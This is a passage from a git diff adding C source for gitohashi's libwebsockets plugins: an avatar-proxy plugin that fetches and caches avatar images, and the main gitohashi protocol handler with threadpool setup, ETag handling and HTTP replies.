p1);\n+\n+\tpthread_mutex_unlock(\u0026vhd-\u003elock); /* --------------------- vhd unlock */\n+\n+\treturn 0;\n+}\n+\n+/*\n+ * Unlike a generic proxy, the downstream side cannot make requests to fill\n+ * the cache directly.\n+ *\n+ * This api function is the only way to request \u0022path\u0022 from vhd-\u003eremote_base\n+ * (ie, https://myremote.base/path) to appear in vhd-\u003ecache_dir, in \u0022flattened\u0022\n+ * filename form.\n+ */\n+\n+enum {\n+\tMENTION_REQUESTED,\n+\tMENTION_FAILED,\n+\tMENTION_EXISTS,\n+};\n+\n+/*\n+ * Called from a threadpool thread context... we need to queue the request and\n+ * deal with it from the service context\n+ */\n+\n+static int\n+mention(struct lws_protocols *pcol, struct lws_vhost *vh, const char *path)\n+{\n+\tstruct vhd_avatar_proxy *vhd \u003d (struct vhd_avatar_proxy *)\n+\t\t\t\t\t lws_protocol_vh_priv_get(vh, pcol);\n+\tint fd, ret \u003d MENTION_REQUESTED;\n+\tchar filepath[128];\n+\tstruct req *req;\n+\n+\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/%c/%c/%s_avatar\u0022,\n+\t\t vhd-\u003ecache_dir, path[0], path[1], path);\n+\n+\t/* it already exists as a file in the cache? */\n+\n+\tfd \u003d open(filepath, O_RDONLY);\n+\tif (fd \u003e\u003d 0) {\n+\t\tclose(fd);\n+\n+\t\treturn MENTION_EXISTS;\n+\t}\n+\n+\t/* a request is underway already? */\n+\n+\tpthread_mutex_lock(\u0026vhd-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhd lock */\n+\n+\t/* on the list of client fetches? */\n+\n+\tlws_start_foreach_dll(struct lws_dll *, p, vhd-\u003ehead.next) {\n+\t\tstruct req *r \u003d (struct req *)p;\n+\n+\t\tif (!strcmp(r-\u003efilepath, filepath))\n+\t\t\tgoto done;\n+\n+\t} lws_end_foreach_dll(p);\n+\n+\t/* on the list of waiting requests? */\n+\n+\tlws_start_foreach_dll(struct lws_dll *, p, vhd-\u003ehead_waiting.next) {\n+\t\tstruct req *r \u003d (struct req *)p;\n+\n+\t\tif (!strcmp(r-\u003efilepath, filepath))\n+\t\t\tgoto done;\n+\t} lws_end_foreach_dll(p);\n+\n+\t/*\n+\t * we should queue a new request for http client fetch from\n+\t * lws service context... add it on the vhd's waiting dll and use\n+\t * cancel service to signal we need service\n+\t */\n+\n+\treq \u003d malloc(sizeof(*req));\n+\tif (!req) {\n+\t\tret \u003d MENTION_FAILED;\n+\t\tgoto done;\n+\t}\n+\n+\tmemset(req, 0, sizeof(*req));\n+\n+\tlws_snprintf(req-\u003efilepath, sizeof(req-\u003efilepath), \u0022%s\u0022, filepath);\n+\tlws_snprintf(req-\u003eurlpath, sizeof(req-\u003eurlpath),\n+\t\t\t\u0022/avatar/%s/?s\u003d128\u0026d\u003dretro\u0022, path);\n+\n+\tlwsl_debug(\u0022%s: queuing fetch of %s %s\u005cn\u0022, __func__, req-\u003eurlpath,\n+\t\t req-\u003efilepath);\n+\n+\tlws_dll_add_front(\u0026req-\u003enext, \u0026vhd-\u003ehead_waiting);\n+\n+\tlws_cancel_service(vhd-\u003econtext);\n+\n+done:\n+\tpthread_mutex_unlock(\u0026vhd-\u003elock); /* --------------------- vhd unlock */\n+\n+\treturn ret;\n+}\n+\n+static int\n+callback_avatar_proxy(struct lws *wsi, enum lws_callback_reasons reason,\n+\t\t void *user, void *in, size_t len)\n+{\n+\tstruct vhd_avatar_proxy *vhd \u003d (struct vhd_avatar_proxy *)\n+\t\t\t lws_protocol_vh_priv_get(lws_get_vhost(wsi),\n+\t\t\t\t\t\t lws_get_protocol(wsi));\n+\tstruct pss_avatar_proxy *pss \u003d (struct pss_avatar_proxy *)user;\n+\tstruct req *req \u003d NULL;\n+\tconst char *p;\n+\tint fd;\n+\n+\tswitch (reason) {\n+\n+\t/* --------------- protocol --------------- */\n+\n+\tcase LWS_CALLBACK_PROTOCOL_INIT: /* per vhost */\n+\t\tlws_protocol_vh_priv_zalloc(lws_get_vhost(wsi),\n+\t\t\t\t\t lws_get_protocol(wsi),\n+\t\t\t\t\t sizeof(struct vhd_avatar_proxy));\n+\n+\t\tvhd \u003d (struct vhd_avatar_proxy *)\n+\t\t\tlws_protocol_vh_priv_get(lws_get_vhost(wsi),\n+\t\t\t\t\t\t lws_get_protocol(wsi));\n+\n+\t\tvhd-\u003econtext \u003d lws_get_context(wsi);\n+\t\tvhd-\u003evh \u003d lws_get_vhost(wsi);\n+\n+\t\tif (lws_pvo_get_str(in, \u0022remote-base\u0022, \u0026vhd-\u003eremote_base))\n+\t\t\treturn -1;\n+\t\tif (lws_pvo_get_str(in, \u0022cache-dir\u0022, \u0026vhd-\u003ecache_dir))\n+\t\t\treturn -1;\n+\n+\t\t/*\n+\t\t * Assumes gitohashi or package install set up the cache\n+\t\t * dirs\n+\t\t */\n+\n+\t\tpthread_mutex_init(\u0026vhd-\u003elock, NULL);\n+\t\tbreak;\n+\n+\tcase LWS_CALLBACK_PROTOCOL_DESTROY:\n+\t\tpthread_mutex_destroy(\u0026vhd-\u003elock);\n+\t\tbreak;\n+\n+\t/* --------------- http server --------------- */\n+\n+\tcase LWS_CALLBACK_HTTP:\n+\t\tlwsl_debug(\u0022LWS_CALLBACK_HTTP %p: %s\u005cn\u0022, wsi, (char *)in);\n+\t\tp \u003d (const char *)in;\n+\t\tif (*p \u003d\u003d '/')\n+\t\t\tp++;\n+\t\tlws_snprintf(pss-\u003epath, sizeof(pss-\u003epath), \u0022%s/%c/%c/%s\u0022,\n+\t\t\t vhd-\u003ecache_dir, p[0], p[1], p);\n+\n+\t\tlws_set_timer_usecs(wsi, LWS_USEC_PER_SEC);\n+\n+\t\treturn 0;\n+\n+\t\t/* fallthru */\n+\n+\tcase LWS_CALLBACK_HTTP_WRITEABLE:\n+\t\tlwsl_debug(\u0022%s: LWS_CALLBACK_HTTP_WRITEABLE %s\u005cn\u0022, __func__,\n+\t\t\t pss-\u003epath);\n+\t\tif (!pss-\u003epath[0])\n+\t\t\treturn 0;\n+\n+\t\tfd \u003d open(pss-\u003epath, LWS_O_RDONLY);\n+\t\tif (fd \u003e\u003d 0) {\n+\t\t\tclose(fd);\n+\t\t\tif (lws_serve_http_file(wsi, pss-\u003epath, \u0022image/png\u0022,\n+\t\t\t\t\t\tNULL, 0) \u003c 0)\n+\t\t\t\treturn -1;\n+\t\t\treturn 0;\n+\t\t}\n+\t\tpss-\u003etries++;\n+\t\tif (pss-\u003etries \u003d\u003d 8) {\n+\t\t\tunsigned char headers[LWS_PRE + 2048],\n+\t\t\t\t*start \u003d \u0026headers[LWS_PRE], *p \u003d start,\n+\t\t\t\t*end \u003d \u0026headers[sizeof(headers) - 1];\n+\n+\t\t\tif (lws_add_http_header_status(wsi,\n+\t\t\t\t\t\tHTTP_STATUS_NOT_FOUND, \u0026p, end))\n+\t\t\t\treturn -1;\n+\n+\t\t\tif (lws_finalize_write_http_header(wsi, start, \u0026p, end))\n+\t\t\t\treturn -1;\n+\n+\t\t\tif (lws_http_transaction_completed(wsi))\n+\t\t\t\treturn -1;\n+\n+\t\t\treturn 0;\n+\t\t}\n+\n+\t\tlws_set_timer_usecs(wsi, LWS_USEC_PER_SEC);\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_TIMER:\n+\t\tlwsl_debug(\u0022%s: LWS_CALLBACK_TIMER %s\u005cn\u0022, __func__, pss-\u003epath);\n+\t\tlws_callback_on_writable(wsi);\n+\t\treturn 0;\n+\n+\t/* --------------- http client --------------- */\n+\n+\tcase LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP:\n+\t\tlwsl_debug(\u0022LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP %p\u005cn\u0022, wsi);\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_CLIENT_CONNECTION_ERROR:\n+\t\tlwsl_notice(\u0022CLIENT_CONNECTION_ERROR: %p: %s\u005cn\u0022, wsi,\n+\t\t\t\tin ? (char *)in : \u0022(null)\u0022);\n+\t\tbreak;\n+\n+\t/* chunks of chunked content, with header removed */\n+\tcase LWS_CALLBACK_RECEIVE_CLIENT_HTTP_READ:\n+\t\tlwsl_debug(\u0022RECEIVE_CLIENT_HTTP_READ: read %d\u005cn\u0022, (int)len);\n+\t\treq \u003d (struct req *)user;\n+\t\tif (write(req-\u003efd, in, len) !\u003d (ssize_t)len)\n+\t\t\tgoto nope;\n+\n+\t\treturn 0; /* don't passthru */\n+\n+\t/* uninterpreted http content */\n+\tcase LWS_CALLBACK_RECEIVE_CLIENT_HTTP:\n+\t\t{\n+\t\t\tchar buffer[1500 + LWS_PRE];\n+\t\t\tchar *px \u003d buffer + LWS_PRE;\n+\t\t\tint lenx \u003d sizeof(buffer) - LWS_PRE;\n+\n+\t\t\treq \u003d (struct req *)user;\n+\n+\t\t\tif (lws_http_client_read(wsi, \u0026px, \u0026lenx) \u003c 0)\n+\t\t\t\tgoto nope;\n+\t\t}\n+\t\treturn 0; /* don't passthru */\n+\n+\tcase LWS_CALLBACK_CLIENT_HTTP_DROP_PROTOCOL:\n+\t\tlwsl_debug(\u0022LWS_CALLBACK_CLIENT_HTTP_DROP_PROTOCOL %p\u005cn\u0022, wsi);\n+\t\treq \u003d (struct req *)user;\n+\t\tif (req-\u003efd !\u003d -1)\n+\t\t\tclose(req-\u003efd);\n+\n+\t\tpthread_mutex_lock(\u0026vhd-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhd lock */\n+\t\treq-\u003efd \u003d -1;\n+\t\tlws_dll_remove(\u0026req-\u003enext);\n+\t\tpthread_mutex_unlock(\u0026vhd-\u003elock); /* ------------- vhd unlock */\n+\n+\t\tfree(req);\n+\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_COMPLETED_CLIENT_HTTP:\n+\t\tlwsl_debug(\u0022LWS_CALLBACK_COMPLETED_CLIENT_HTTP %p\u005cn\u0022, wsi);\n+\t\treq \u003d (struct req *)user;\n+\t\tif (req-\u003efd !\u003d -1) {\n+\t\t\tif (rename(req-\u003efilepath_temp, req-\u003efilepath))\n+\t\t\t\treturn 0;\n+\t\t}\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_EVENT_WAIT_CANCELLED:\n+\t\tcreate_waiting_client_requests(vhd);\n+\t\tbreak;\n+\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n+\treturn lws_callback_http_dummy(wsi, reason, user, in, len);\n+\n+nope:\n+\tif (req \u0026\u0026 req-\u003efd !\u003d -1)\n+\t\t(void)unlink(req-\u003efilepath);\n+\t/*\n+\t * req will be freed + fd closed when the wsi drops\n+\t * the protocol\n+\t */\n+\n+\treturn -1;\n+}\n+\n+#define LWS_PLUGIN_PROTOCOL_AVATAR_PROXY \u005c\n+\t{ \u005c\n+\t\t\u0022avatar-proxy\u0022, \u005c\n+\t\tcallback_avatar_proxy, \u005c\n+\t\tsizeof(struct pss_avatar_proxy), \u005c\n+\t\t4096, \u005c\n+\t\t0, \u005c\n+\t\t(void *)mention \u005c\n+\t} \u005c\n+\n+#if !defined (LWS_PLUGIN_STATIC)\n+\n+static const struct lws_protocols protocols[] \u003d {\n+\tLWS_PLUGIN_PROTOCOL_AVATAR_PROXY\n+};\n+\n+LWS_EXTERN LWS_VISIBLE int\n+init_protocol_avatar_proxy(struct lws_context *context,\n+\t\t\t\tstruct lws_plugin_capability *c)\n+{\n+\tif (c-\u003eapi_magic !\u003d LWS_PLUGIN_API_MAGIC) {\n+\t\tlwsl_err(\u0022Plugin API %d, library API %d\u0022,\n+\t\t\t LWS_PLUGIN_API_MAGIC, c-\u003eapi_magic);\n+\t\treturn 1;\n+\t}\n+\n+\tc-\u003eprotocols \u003d protocols;\n+\tc-\u003ecount_protocols \u003d LWS_ARRAY_SIZE(protocols);\n+\tc-\u003eextensions \u003d NULL;\n+\tc-\u003ecount_extensions \u003d 0;\n+\n+\treturn 0;\n+}\n+\n+LWS_EXTERN LWS_VISIBLE int\n+destroy_protocol_avatar_proxy(struct lws_context *context)\n+{\n+\treturn 0;\n+}\n+#endif\ndiff --git a/src/protocol_gitohashi.c b/src/protocol_gitohashi.c\nnew file mode 100644\nindex 0000000..e768364\n--- /dev/null\n+++ b/src/protocol_gitohashi.c\n@@ -0,0 +1,673 @@\n+/*\n+ * gitohashi protocol\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#define LWS_DLL\n+#define LWS_INTERNAL\n+#include \u003clibwebsockets.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cstdlib.h\u003e\n+\n+#include \u003clibjsongit2.h\u003e\n+\n+/*\n+ * This belongs to the opaque lws task once it is enqueued, and is freed when\n+ * the task goes out of scope\n+ */\n+\n+struct task_data_gitohashi {\n+\tchar buf[LWS_PRE + 4000];\n+\tchar url[1024], alang[128], ua[256], inm[36];\n+\tint frametype;\n+\tstruct jg2_ctx *ctx;\n+\tsize_t used;\n+\tchar final;\n+};\n+\n+struct pss_gitohashi {\n+\tstruct lws *wsi;\n+\tint state;\n+};\n+\n+struct vhd_gitohashi {\n+\tconst char *html, *vpath, *repo_base_dir, *acl_user, *avatar_url;\n+\tconst struct lws_protocols *cache_protocol;\n+\tstruct jg2_vhost *jg2_vhost;\n+\tstruct lws_threadpool *tp;\n+\tstruct lws_vhost *vhost;\n+};\n+\n+\n+static void\n+cleanup_task_private_data(struct lws *wsi, void *user)\n+{\n+\tstruct task_data_gitohashi *priv \u003d (struct task_data_gitohashi *)user;\n+\n+\tif (priv-\u003ectx)\n+\t\tjg2_ctx_destroy(priv-\u003ectx);\n+\n+\tfree(priv);\n+}\n+\n+static enum lws_threadpool_task_return\n+task_function(void *user, enum lws_threadpool_task_status s)\n+{\n+\tstruct task_data_gitohashi *priv \u003d (struct task_data_gitohashi *)user;\n+\tint n;\n+\n+\t/*\n+\t * first time, we must do the http reply, and either acquire the\n+\t * jg2 ctx or finish the transaction\n+\t */\n+\tif (!priv-\u003ectx)\n+\t\treturn LWS_TP_RETURN_SYNC;\n+\n+\t/* we sent the last bit already */\n+\n+\tif (priv-\u003eframetype \u003d\u003d LWS_WRITE_HTTP_FINAL)\n+\t\treturn LWS_TP_RETURN_FINISHED;\n+\n+\tpriv-\u003eframetype \u003d LWS_WRITE_HTTP;\n+\tn \u003d jg2_ctx_fill(priv-\u003ectx, priv-\u003ebuf + LWS_PRE,\n+\t\t\t sizeof(priv-\u003ebuf) - LWS_PRE, \u0026priv-\u003eused);\n+\n+\tif (n \u003c 0)\n+\t\treturn LWS_TP_RETURN_STOPPED;\n+\n+\tif (n || priv-\u003efinal) {\n+\t\tpriv-\u003eframetype \u003d LWS_WRITE_HTTP_FINAL;\n+\t\tpriv-\u003efinal \u003d 1;\n+\t}\n+\n+\tif (priv-\u003eused)\n+\t\treturn LWS_TP_RETURN_SYNC;\n+\n+\treturn LWS_TP_RETURN_CHECKING_IN;\n+\n+}\n+\n+static int\n+http_reply(struct lws *wsi, struct vhd_gitohashi *vhd,\n+\t struct pss_gitohashi *pss, struct task_data_gitohashi *priv)\n+{\n+\tunsigned char *p \u003d (unsigned char *)\u0026priv-\u003ebuf[LWS_PRE], *start \u003d p,\n+\t\t *end \u003d (unsigned char *)priv-\u003ebuf + sizeof(priv-\u003ebuf);\n+\tconst char *mimetype \u003d NULL;\n+\tstruct jg2_ctx_create_args args;\n+\tunsigned long length \u003d 0;\n+\tchar etag[36];\n+\tint n;\n+\n+\tmemset(\u0026args, 0, sizeof(args));\n+\targs.repo_path \u003d priv-\u003eurl;\n+\targs.flags \u003d JG2_CTX_FLAG_HTML;\n+\targs.mimetype \u003d \u0026mimetype;\n+\targs.length \u003d \u0026length;\n+\targs.etag \u003d etag;\n+\targs.etag_length \u003d sizeof(etag);\n+\n+\tif (priv-\u003ealang[0])\n+\t\targs.accept_language \u003d priv-\u003ealang;\n+\n+\tif (priv-\u003einm[0])\n+\t\targs.client_etag \u003d priv-\u003einm;\n+\n+\n+\t/*\n+\t * Let's assess from his user agent if he's a bot. Caching\n+\t * content generated by a bot is less than worthless since they\n+\t * spider the whole repo more or less randomly, flushing the\n+\t * parts of the cache generated by real users which may be\n+\t * interesting for other users too.\n+\t */\n+\n+\tif (priv-\u003eua[0] \u0026\u0026\n+\t (strstr(priv-\u003eua, \u0022bot\u0022) || strstr(priv-\u003eua, \u0022Bot\u0022)))\n+\t\targs.flags |\u003d JG2_CTX_FLAG_BOT;\n+\n+\tp \u003d start;\n+\n+\tif (jg2_ctx_create(vhd-\u003ejg2_vhost, \u0026priv-\u003ectx, \u0026args)) {\n+\t\tlwsl_err(\u0022%s: jg2_ctx_create fail: %s\u005cn\u0022, __func__, start);\n+\n+\t\t/* we can't serve this, for whatever reason */\n+\n+\t\tif (lws_add_http_header_status(wsi,\n+\t\t\t\tHTTP_STATUS_INTERNAL_SERVER_ERROR, \u0026p, end))\n+\t\t\treturn -1;\n+\n+\t\tif (lws_finalize_http_header(wsi, \u0026p, end))\n+\t\t\treturn -1;\n+\n+\t\tn \u003d lws_write(wsi, start, p - start, LWS_WRITE_HTTP_HEADERS |\n+\t\t\t\t\t\t LWS_WRITE_H2_STREAM_END);\n+\t\tif (n !\u003d (p - start)) {\n+\t\t\tlwsl_err(\u0022_write returned %d from %ld\u005cn\u0022, n,\n+\t\t\t\t (long)(p - start));\n+\t\t\treturn -1;\n+\t\t}\n+\n+\t\tgoto transaction_completed;\n+\t}\n+\n+\t/* does he actually already have a current version of it? */\n+\n+\tn \u003d lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_IF_NONE_MATCH);\n+\tif (etag[0] \u0026\u0026 n \u0026\u0026 !strcmp(etag, priv-\u003einm)) {\n+\n+\t\tlwsl_debug(\u0022%s: ETAG match %s\u005cn\u0022, __func__, etag);\n+\n+\t\t/* we don't need to send the payload... lose the ctx */\n+\n+\t\tjg2_ctx_destroy(priv-\u003ectx);\n+\t\tpriv-\u003ectx \u003d NULL;\n+\n+\t\t/* inform the client he already has the latest guy */\n+\n+\t\tif (lws_add_http_header_status(wsi, HTTP_STATUS_NOT_MODIFIED,\n+\t\t\t\t\t \u0026p, end))\n+\t\t\treturn -1;\n+\n+\t\tif (lws_add_http_header_by_token(wsi, WSI_TOKEN_HTTP_ETAG,\n+\t\t\t\t(unsigned char *)etag, n, \u0026p, end))\n+\t\t\treturn -1;\n+\n+\t\tif (lws_finalize_http_header(wsi, \u0026p, end))\n+\t\t\treturn 1;\n+\n+\t\tn \u003d lws_write(wsi, start, p - start, LWS_WRITE_HTTP_HEADERS |\n+\t\t\t\t\t\t LWS_WRITE_H2_STREAM_END);\n+\t\tif (n !\u003d (p - start)) {\n+\t\t\tlwsl_err(\u0022_write returned %d from %ld\u005cn\u0022, n,\n+\t\t\t\t (long)(p - start));\n+\t\t\treturn -1;\n+\t\t}\n+\n+\t\tgoto transaction_completed;\n+\t}\n+\n+\t/* nope... he doesn't already have it, so we must issue it */\n+\n+\tif (lws_add_http_common_headers(wsi, HTTP_STATUS_OK,\n+\t\t\tmimetype, length? length :\n+\t\t\tLWS_ILLEGAL_HTTP_CONTENT_LEN, \u0026p, end))\n+\t\treturn 1;\n+\n+\t/*\n+\t * if we know the etag already, issue it so we can recognize\n+\t * if he asks for it again while he already has it\n+\t */\n+\n+\tif (etag[0] \u0026\u0026 lws_add_http_header_by_token(wsi, WSI_TOKEN_HTTP_ETAG,\n+\t\t\t\t\t\t (unsigned char *)etag,\n+\t\t\t\t\t\t strlen(etag), \u0026p, end))\n+\t\treturn 1;\n+\n+\tif (lws_finalize_write_http_header(wsi, start, \u0026p, end))\n+\t\treturn 1;\n+\n+\treturn 0;\n+\n+transaction_completed:\n+\n+\tif (lws_http_transaction_completed(wsi))\n+\t\treturn -1;\n+\n+\treturn 0;\n+}\n+\n+/*\n+ * Called from a threadpool thread context...\n+ */\n+\n+void refchange(void * user)\n+{\n+\tstruct pss_gitohashi *pss \u003d (struct pss_gitohashi *)user;\n+\n+\tlwsl_notice(\u0022%s: %p\u005cn\u0022, __func__, pss);\n+\n+//\tif (!pss)\n+//\t\treturn;\n+\n+\t// lws_callback_on_writable(pss-\u003ewsi);\n+}\n+\n+static const char *hex \u003d \u00220123456789abcdef\u0022;\n+\n+static const char *\n+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5)\n+{\n+\tint n;\n+\n+\tif (!md5) {\n+\t\t*md5_hex_33++ \u003d '?';\n+\t\t*md5_hex_33++ \u003d '\u005c0';\n+\n+\t\treturn md5_hex_33 - 2;\n+\t}\n+\tfor (n \u003d 0; n \u003c 16; n++) {\n+\t\t*md5_hex_33++ \u003d hex[((*md5) \u003e\u003e 4) \u0026 0xf];\n+\t\t*md5_hex_33++ \u003d hex[*(md5++) \u0026 0xf];\n+\t}\n+\t*md5_hex_33 \u003d '\u005c0';\n+\n+\treturn md5_hex_33 - 32;\n+}\n+\n+/*\n+ * Called from a threadpool thread context...\n+ */\n+\n+int avatar(void *avatar_arg, const unsigned char *md5)\n+{\n+\tstruct vhd_gitohashi *vhd \u003d (struct vhd_gitohashi *)avatar_arg;\n+\ttypedef int (*mention_t)(const struct lws_protocols *pcol,\n+\t\t\tstruct lws_vhost *vh, const char *path);\n+\tchar md[256];\n+\n+\tif (!vhd-\u003ecache_protocol)\n+\t\tvhd-\u003ecache_protocol \u003d lws_vhost_name_to_protocol(\n+\t\t\t\t\tvhd-\u003evhost, \u0022avatar-proxy\u0022);\n+\n+\tif (!vhd-\u003ecache_protocol)\n+\t\treturn 0;\n+\n+\tmd5_to_hex_cstr(md, md5);\n+\n+\t((mention_t)(void *)vhd-\u003ecache_protocol-\u003euser)\n+\t\t\t(vhd-\u003ecache_protocol, vhd-\u003evhost, md);\n+\n+\treturn 0;\n+}\n+\n+static int\n+callback_gitohashi(struct lws *wsi, enum lws_callback_reasons reason,\n+\t void *user, void *in, size_t len)\n+{\n+\tstruct vhd_gitohashi *vhd \u003d (struct vhd_gitohashi *)\n+\t\t\t lws_protocol_vh_priv_get(lws_get_vhost(wsi),\n+\t\t\t\t\t\t lws_get_protocol(wsi));\n+\tchar buf[LWS_PRE + 4096];\n+\tunsigned char *p \u003d (unsigned char *)\u0026buf[LWS_PRE],\n+\t\t *end \u003d (unsigned char *)buf + sizeof(buf);\n+\tstruct pss_gitohashi *pss \u003d (struct pss_gitohashi *)user;\n+\tstruct lws_threadpool_create_args cargs;\n+\tstruct lws_threadpool_task_args targs;\n+\tstruct lws_threadpool_task *task;\n+\tstruct task_data_gitohashi *priv;\n+\tstruct jg2_vhost_config config;\n+\tconst char *csize, *flags, *z;\n+\tint n, uid, gid;\n+\tvoid *_user;\n+\n+\tswitch (reason) {\n+\n+\t/* --------------- protocol --------------- */\n+\n+\tcase LWS_CALLBACK_PROTOCOL_INIT: /* per vhost */\n+\t\tlws_protocol_vh_priv_zalloc(lws_get_vhost(wsi),\n+\t\t\t\t\t lws_get_protocol(wsi),\n+\t\t\t\t\t sizeof(struct vhd_gitohashi));\n+\t\tvhd \u003d (struct vhd_gitohashi *)\n+\t\t\tlws_protocol_vh_priv_get(lws_get_vhost(wsi),\n+\t\t\t\t\t\t lws_get_protocol(wsi));\n+\n+\t\tvhd-\u003evhost \u003d lws_get_vhost(wsi);\n+\n+\t\tif (lws_pvo_get_str(in, \u0022html-file\u0022, \u0026vhd-\u003ehtml) ||\n+\t\t lws_pvo_get_str(in, \u0022vpath\u0022, \u0026vhd-\u003evpath) ||\n+\t\t lws_pvo_get_str(in, \u0022repo-base-dir\u0022, \u0026vhd-\u003erepo_base_dir) ||\n+\t\t lws_pvo_get_str(in, \u0022acl-user\u0022, \u0026vhd-\u003eacl_user) ||\n+\t\t lws_pvo_get_str(in, \u0022avatar-url\u0022, \u0026vhd-\u003eavatar_url)) {\n+\n+\t\t\tlwsl_err(\u0022%s: required pvos: html-file, vpath,\u0022\n+\t\t\t\t \u0022repo-base-dir, acl-user, avatar-url\u005cn\u0022,\n+\t\t\t\t __func__);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\n+\n+\t\tmemset(\u0026cargs, 0, sizeof(cargs));\n+\n+\t\tcargs.max_queue_depth \u003d 12;\n+\t\tcargs.threads \u003d 4;\n+\n+\t\tif (!lws_pvo_get_str(in, \u0022threads\u0022, \u0026z))\n+\t\t\tcargs.threads \u003d atoi(z);\n+\t\tif (!lws_pvo_get_str(in, \u0022max_queue_depth\u0022, \u0026z))\n+\t\t\tcargs.max_queue_depth \u003d atoi(z);\n+\n+\t\tvhd-\u003etp \u003d lws_threadpool_create(lws_get_context(wsi), \u0026cargs,\n+\t\t\t\t\t\t\u0022%s\u0022,\n+\t\t\t\t\t\tlws_get_vhost_name(vhd-\u003evhost));\n+\t\tif (!vhd-\u003etp)\n+\t\t\treturn -1;\n+\n+\t\tmemset(\u0026config, 0, sizeof(config));\n+\t\tconfig.virtual_base_urlpath \u003d vhd-\u003evpath;\n+\t\tconfig.refchange \u003d refchange;\n+\t\tconfig.avatar \u003d avatar;\n+\t\tconfig.avatar_arg \u003d vhd;\n+\t\tconfig.avatar_url \u003d vhd-\u003eavatar_url;\n+\t\tconfig.repo_base_dir \u003d vhd-\u003erepo_base_dir;\n+\t\tconfig.vhost_html_filepath \u003d vhd-\u003ehtml;\n+\t\tconfig.acl_user \u003d vhd-\u003eacl_user;\n+\n+\t\t/* optional... no caching if not set */\n+\t\tif (!lws_pvo_get_str(in, \u0022cache-base\u0022,\n+\t\t\t\t \u0026config.json_cache_base)) {\n+\t\t\tlws_get_effective_uid_gid(lws_get_context(wsi), \u0026uid,\n+\t\t\t\t\t\t \u0026gid);\n+\t\t\tconfig.cache_uid \u003d uid;\n+\n+\t\t\t/* optional, default size if not set */\n+\t\t\tif (!lws_pvo_get_str(in, \u0022cache-size\u0022, \u0026csize))\n+\t\t\t\tconfig.cache_size_limit \u003d atoi(csize);\n+\t\t}\n+\n+\t\t/* optional... flags */\n+\t\tif (!lws_pvo_get_str(in, \u0022flags\u0022, \u0026flags))\n+\t\t\tconfig.flags \u003d atoi(flags);\n+\n+\t\tif (config.flags \u0026 JG2_VHOST_BLOG_MODE \u0026\u0026\n+\t\t lws_pvo_get_str(in, \u0022blog-repo-name\u0022,\n+\t\t\t\t \u0026config.blog_repo_name)) {\n+\t\t\tlwsl_err(\u0022%s: if blog_mode set in flags, \u0022\n+\t\t\t\t \u0022blog_repo_name is required\u005cn\u0022, __func__);\n+\n+\t\t\tlws_threadpool_destroy(vhd-\u003etp);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\n+\t\tvhd-\u003ejg2_vhost \u003d jg2_vhost_create(\u0026config);\n+\t\tif (!vhd-\u003ejg2_vhost) {\n+\t\t\tlws_threadpool_destroy(vhd-\u003etp);\n+\t\t\treturn -1;\n+\t\t}\n+\n+\t\tlws_timed_callback_vh_protocol(lws_get_vhost(wsi),\n+\t\t\t\t\t lws_get_protocol(wsi),\n+\t\t\t\t\t LWS_CALLBACK_USER, 1);\n+\t\tbreak;\n+\n+\tcase LWS_CALLBACK_PROTOCOL_DESTROY: /* per vhost */\n+\t\tjg2_vhost_destroy(vhd-\u003ejg2_vhost);\n+\t\tlws_threadpool_finish(vhd-\u003etp);\n+\t\tlws_threadpool_destroy(vhd-\u003etp);\n+\t\tvhd-\u003ejg2_vhost \u003d NULL;\n+\t\tbreak;\n+\n+\t/* --------------- http --------------- */\n+\n+\tcase LWS_CALLBACK_HTTP:\n+\n+\t\t/*\n+\t\t * The jg2 ctx is not going to be created until a thread\n+\t\t * becomes available. But our headers will be scrubbed when\n+\t\t * we return from this.\n+\t\t *\n+\t\t * So we must stash any interesting header content in the user\n+\t\t * priv struct before queuing the task.\n+\t\t */\n+\n+\t\tmemset(\u0026targs, 0, sizeof(targs));\n+\t\tpriv \u003d targs.user \u003d malloc(sizeof(*priv));\n+\t\tif (!priv)\n+\t\t\treturn 1;\n+\n+\t\tmemset(priv, 0, sizeof(*priv));\n+\n+\t\ttargs.wsi \u003d wsi;\n+\t\ttargs.task \u003d task_function;\n+\t\ttargs.cleanup \u003d cleanup_task_private_data;\n+\n+\t\t/*\n+\t\t * \u0022in\u0022 contains the url part after our mountpoint, if any.\n+\t\t *\n+\t\t * Our strategy is to record the URL for the duration of the\n+\t\t * transaction and return the user's configured html template,\n+\t\t * plus JSON prepared based on the URL. That lets the page\n+\t\t * display remotely in one roundtrip (+tls) without having to\n+\t\t * wait for the ws link to come up.\n+\t\t *\n+\t\t * Serving anything other than the configured html template\n+\t\t * will have to come from outside this mount URL path.\n+\t\t *\n+\t\t * Stash in and the urlargs into pss-\u003epriv-\u003eurl[]\n+\t\t */\n+\n+\t\tp \u003d (unsigned char *)priv-\u003eurl;\n+\t\tend \u003d p + sizeof(priv-\u003eurl) - 1;\n+\t\tif ((int)len \u003e\u003d end - p)\n+\t\t\tlen \u003d end - p - 